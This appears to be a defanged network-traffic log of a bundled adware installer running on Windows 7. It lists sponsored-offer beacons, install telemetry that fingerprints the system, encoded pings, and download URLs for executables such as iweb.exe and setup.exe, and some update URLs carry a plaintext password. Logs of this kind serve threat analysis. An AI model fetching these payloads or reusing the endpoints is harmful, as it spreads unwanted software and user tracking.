hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6777669106850298	78.138.127.15
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429342563	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342573	54.231.65.60
hxxp://www.google-analytics.com/analytics.js	173.194.122.2
hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLygFKvbxhXJ8 DxJ w6ryxW8=	54.197.238.106
hxxp://stats.neomapobjectrack.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573	54.231.65.36
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png	78.138.127.8
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json	78.138.126.82
hxxp://errors.neomapobjectrack.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=7&rnd=1429342563	54.231.65.60
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8gqMrckuXQYBDiw95hgje5ZDg7jkQr72VISZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6ld5/ihk02ukUqgUMBNjGcDJgKkdlz1lRofUDr3 uV4Ko6jA0ovCT514E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQv6YGHB3T/Jm1E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqEyQBdImr5T91HySmeDQikgk=	54.197.238.106
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe	69.16.175.10
hxxp://www.appshat.com/images/loading.gif	78.138.127.8
hxxp://logs.neomapobjectrack.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579	69.16.175.10
hxxp://www.appshat.com/images/16x16.ico	78.138.127.8
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=/k6kR j50tpQhScA1jb3TyeLiFzXMXTd7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDciSX1Nf V6uy4btG OZIk/4yV9gTVq WZsJKoGkBMBgLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://logs.neomapobjectrack.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579	69.16.175.10
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429342573	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342564	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429342562	54.231.65.60
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.4506643702714991	78.138.127.15
hxxp://logs.neomapobjectrack.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557	69.16.175.10
hxxp://www.appshat.com/css/style.css	78.138.127.8
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqp8Pk9jtfSr7GKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a2wX1AalducQ Lmf6eHphUt9 inPTLZDtg=	54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342568	54.231.65.60
hxxp://www.appshat.com/images/logo.jpg	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png	78.138.127.8
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342608&SBPIDS=1
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564	54.231.65.60
hxxp://www.appshat.com/js/lightbox.js	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png	78.138.127.8
hxxp://rep.shopper-pro.com/app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZh0R8FZu6GaDdoDtkaq/39zZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWcSwZ6/LEwZLF1wG7O/OQ7XscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZRGbKC1zvqWqKNxr/pz/MJmAZSpRiXLg4A==	54.197.238.106
hxxp://www.appshat.com/images/5.0stars.jpg	78.138.127.8
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342553&SBPIDS=1
hxxp://stats.neomapobjectrack.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589	54.231.65.36
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYr6Qb84RcTqgys89o9QykRMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9U/FKldAfuH6i/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKJkwA4PeZyroPEn7DqvLFbw==	54.197.238.106
hxxp://logs.neomapobjectrack.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556	69.16.175.10
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429342563	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342571	54.231.65.60
hxxp://logs.neomapobjectrack.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557	69.16.175.10
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.6714286301451131	78.138.127.15
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png	78.138.127.8
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=aonlVHCKlbW/q1OYm6RuNtPoRc85Bdu1BsmMS6ILDwFZxrddMpcl9iuIlCBhM10qy/hL8rqZ RaEgBvOe8 r0o/iiYZxylfDjKjHf0fty0gJvLuonclT9KsmG/QcpI3t8jaU320NFtWR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQyCFJHhXrVgEqPeikK78R8xbc 92iXckPVHGc55fg sAzVwI/Nk9XUivhLPNWKBFljxuZyMs9qMlOKEosbi2HvmynD/t/TSE8Wn2VgKtPO53Dq438Eo8rwMCai5OFCG9k2sbLEbAG5xG4aFl18N5KSUFmrpPPnPUEPKp8MLmAxBTb3FAVgZZ6g4XV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvZXD8UpDtMIIgTnb9Ct7GCA==	198.232.124.192
hxxp://www.appshat.com/css/product.css	78.138.127.8
hxxp://www.appshat.com/thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe	69.16.175.10
hxxp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.122.24
hxxp://up.soft365.com/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342587	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1429342587	54.231.65.60
hxxp://install.theswiftrecord.com/ii?alpha=eXJJcxpXVFIlA2oAZlkVeDYafhp5LkVbF0xBXWJfKy4DNF9sAypCLS10RRcedjsOcnAgQnIzITF5Gi8NeTk1d3IWeBVvGi0uXnZZXDEyXElULRJiRyomCkxNAm0+NHAJUBYWAlgITANpf0YmfFYsYkQmewsMIwdQFHQbWg1/IiMuKhp0HSkRKi5ec1EFdiEcECVuSSdGbncKW09ZbgluCyZ2XSVDc0wcEyAuZic3FENpTSZ4eRouc1hlahkpCX4mIyQ5SAxUPBFNTUkpDEE7f0gVXDcRdhkoNAAfHAsBGWhCaXxWI0puAzRcJzlvFiodYXQrfzgtW2AySGJkeG1TKnJ2MDVILlozDFY+TzAaRzFmQkYrZF8kWG5pGwkaDgwIZEQ5ekYwD2xfGl5kcSBUa0szOw96NydTKgQGMihBbFRsP1AtNVMlX39/bH8bIwwcZGFbFT94ESAGYj4KXlwCFUstB38hAzhOIQ5JD3F7OlBzQScWRiRmcwAiZxg6IBVZXSBkYGU4SC1VYmhWQSEHWVEtYk4VTx0gXDd5I1gCfHJbGnNTYzNzGFh9TBwVEiJyETAaeXQvNgUKZ15hLDw3Qz94KWFsIDkBMFBiCn1wDHtOEzgyHFh6eAgWWX0=
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://stats.neomapobjectrack.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342579&lifetime=0&silent=1&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589	54.231.65.36
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png	78.138.127.8
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/3rd	54.230.44.181
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUX8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFhvkTv8oAvme3Ih1Kfu IMReuT yH/uLbphiW/DYdUZuL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8mbUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTUKlyBqhyltEfJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tqrESd40BFHqcxFQhk7Y4nTL/1dS KcnSIicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L1KaGmSCdQV059EKfMUqh4GpiLqOa3x6axZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jKwODVeEYVPS89/CpuCTIAF0=	54.197.238.106
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342571	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342584	54.231.65.60
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7346496220086862	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.9191735607749332	78.138.127.15
hxxp://www.appshat.com/images/3.0stars.jpg	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342566	54.231.65.60
hxxp://errors.neomapobjectrack.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=5&rnd=1429342562	54.231.65.60
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429342544&SBPIDS=1
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342570	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429342556	54.231.65.60
hxxp://www.appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png	78.138.127.8
hxxp://install.theswiftrecord.com/fp?alpha=eXJJcxpdAyQ6ClB+ZlkVeDYafhp5Ll8CW15zCGxGfmZEc1x7AzhwcQ1GJnY4OBBKI2BkAFECUXh9HicMYVU9dxofAQtsaSktWmAMXCYyfgU6c0o/RG5qHgcfBxxJMQ98JghnHikIQAx2fjVVaEgjYUQnZXgMJ3VFZHQYLRouZGt+Cmo3Wi1JNStZZktRYjlMCGlpXysUf38VHxoHDE80G30qBWIYPAkcFXB5IFJ8WyRnXHA3aVBzZwo4eXh3Uyl5bDt8cyVYN0J3cgAhFlAxL2F8T3gdYBJidRwOGw8aSzMQLmBJaHh1UB1aMzggISAdcDoYcyQXSCR4W2FzGhUaOWJsJ2Fldw0eGFwrWWtHDHtNABw+bkc/RGZwGxIdehhJNg9+IGMUa1huP38VXB5w
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342564	54.231.65.60
hxxp://errors.neomapobjectrack.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&procstarttime=1429342579&procruntime=2&rnd=1429342581	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342584	54.231.65.60
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.953743378173957	78.138.127.15
hxxp://www.appshat.com/images/4.5stars.jpg	78.138.127.8
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342568	54.231.65.60
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png	78.138.127.8
hxxp://www.appshat.com/images/3.5stars.jpg	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342584	54.231.65.60
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342568	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342586	54.231.65.60
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.8556611988204599	78.138.127.15
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
